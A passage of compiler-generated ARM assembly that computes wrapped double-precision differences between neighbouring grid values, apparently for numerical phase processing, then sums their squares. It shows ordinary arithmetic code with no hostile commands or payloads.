ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
sub r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-116]
str r3, [fp, #-112]
ldr r3, [fp, #-160]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-108]
str r3, [fp, #-104]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-100]
str r3, [fp, #-96]
ldr r2, [fp, #-160]
mvn r3, #-536870912
sub r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-92]
str r3, [fp, #-88]
ldr r3, [fp, #-160]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
sub r3, r3, #8
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-76]
str r3, [fp, #-72]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
add r3, r3, #8
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-68]
str r3, [fp, #-64]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-60]
str r3, [fp, #-56]
ldr r2, [fp, #-124]
mvn r3, #-536870912
sub r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r3, [fp, #-124]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
lsl r3, r3, #1
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
lsl r3, r3, #1
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
lsl r3, r3, #1
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r3, fp, #116
ldmia r3, {r2-r3}
sub r1, fp, #116
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #108
ldmia r3, {r2-r3}
sub r1, fp, #108
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #100
ldmia r3, {r2-r3}
sub r1, fp, #100
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #92
ldmia r3, {r2-r3}
sub r1, fp, #92
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #84
ldmia r3, {r2-r3}
sub r1, fp, #84
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #76
ldmia r3, {r2-r3}
sub r1, fp, #76
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #68
ldmia r3, {r2-r3}
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #60
ldmia r3, {r2-r3}
sub r1, fp, #60
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #52
ldmia r3, {r2-r3}
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #44
ldmia r3, {r2-r3}
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #36
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-144]
str r2, [r1, #16]
str r3, [r1, #20]
.L150:
ldr r3, [fp, #-144]
add r3, r3, #48
str r3, [fp, #-144]
ldr r3, [fp, #-140]
add r3, r3, #8
str r3, [fp, #-140]
ldr r3, [fp, #-128]
add r3, r3, #1
str r3, [fp, #-128]
.L149:
ldr r3, [fp, #-160]
sub r3, r3, #1
ldr r2, [fp, #-128]
cmp r2, r3
blt .L151
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
mov r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
add r3, r3, #96
ldr r2, [fp, #-144]
add r3, r2, r3
str r3, [fp, #-144]
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
add r3, r3, #2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
str r3, [fp, #-140]
ldr r3, [fp, #-136]
add r3, r3, #1
str r3, [fp, #-136]
.L148:
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-136]
cmp r2, r3
blt .L152
.L142:
ldr r3, [fp, #8]
ldr r3, [r3, #16]
cmp r3, #1
bne .L164
ldr r3, [fp, #-160]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-152]
add r3, r2, r3
str r3, [fp, #-140]
ldr r3, [fp, #-160]
add r2, r3, #1
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-156]
add r3, r3, r2
str r3, [fp, #-144]
mov r3, #1
str r3, [fp, #-132]
b .L154
.L158:
mov r3, #1
str r3, [fp, #-128]
b .L155
.L157:
ldr r3, [fp, #-144]
ldrb r3, [r3, #25] @ zero_extendqisi2
cmp r3, #0
bne .L156
ldr r3, [fp, #-140]
sub r3, r3, #8
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-116]
str r3, [fp, #-112]
ldr r3, [fp, #-160]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-108]
str r3, [fp, #-104]
ldr r3, [fp, #-124]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-120]
ldr r3, [fp, #-124]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-100]
str r3, [fp, #-96]
ldr r2, [fp, #-160]
mvn r3, #-536870912
sub r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-92]
str r3, [fp, #-88]
ldr r3, [fp, #-160]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
ldr r2, [fp, #-120]
ldr r3, [fp, #-124]
sub r2, r2, r3
ldr r3, [fp, #-160]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-76]
str r3, [fp, #-72]
ldr r2, [fp, #-120]
ldr r3, [fp, #-124]
sub r2, r2, r3
ldr r3, [fp, #-160]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-68]
str r3, [fp, #-64]
ldr r2, [fp, #-120]
ldr r3, [fp, #-124]
sub r2, r2, r3
ldr r3, [fp, #-160]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-60]
str r3, [fp, #-56]
ldr r2, [fp, #-120]
ldr r3, [fp, #-124]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r2, [fp, #-120]
ldr r3, [fp, #-124]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
ldr r2, [fp, #-120]
ldr r3, [fp, #-124]
sub r2, r2, r3
ldr r3, [fp, #-160]
add r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r2, [fp, #-120]
ldr r3, [fp, #-124]
sub r2, r2, r3
ldr r3, [fp, #-160]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r2, [fp, #-120]
ldr r3, [fp, #-124]
sub r2, r2, r3
ldr r3, [fp, #-160]
add r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r3, fp, #116
ldmia r3, {r2-r3}
sub r1, fp, #116
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #108
ldmia r3, {r2-r3}
sub r1, fp, #108
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #100
ldmia r3, {r2-r3}
sub r1, fp, #100
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #92
ldmia r3, {r2-r3}
sub r1, fp, #92
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #84
ldmia r3, {r2-r3}
sub r1, fp, #84
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #76
ldmia r3, {r2-r3}
sub r1, fp, #76
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
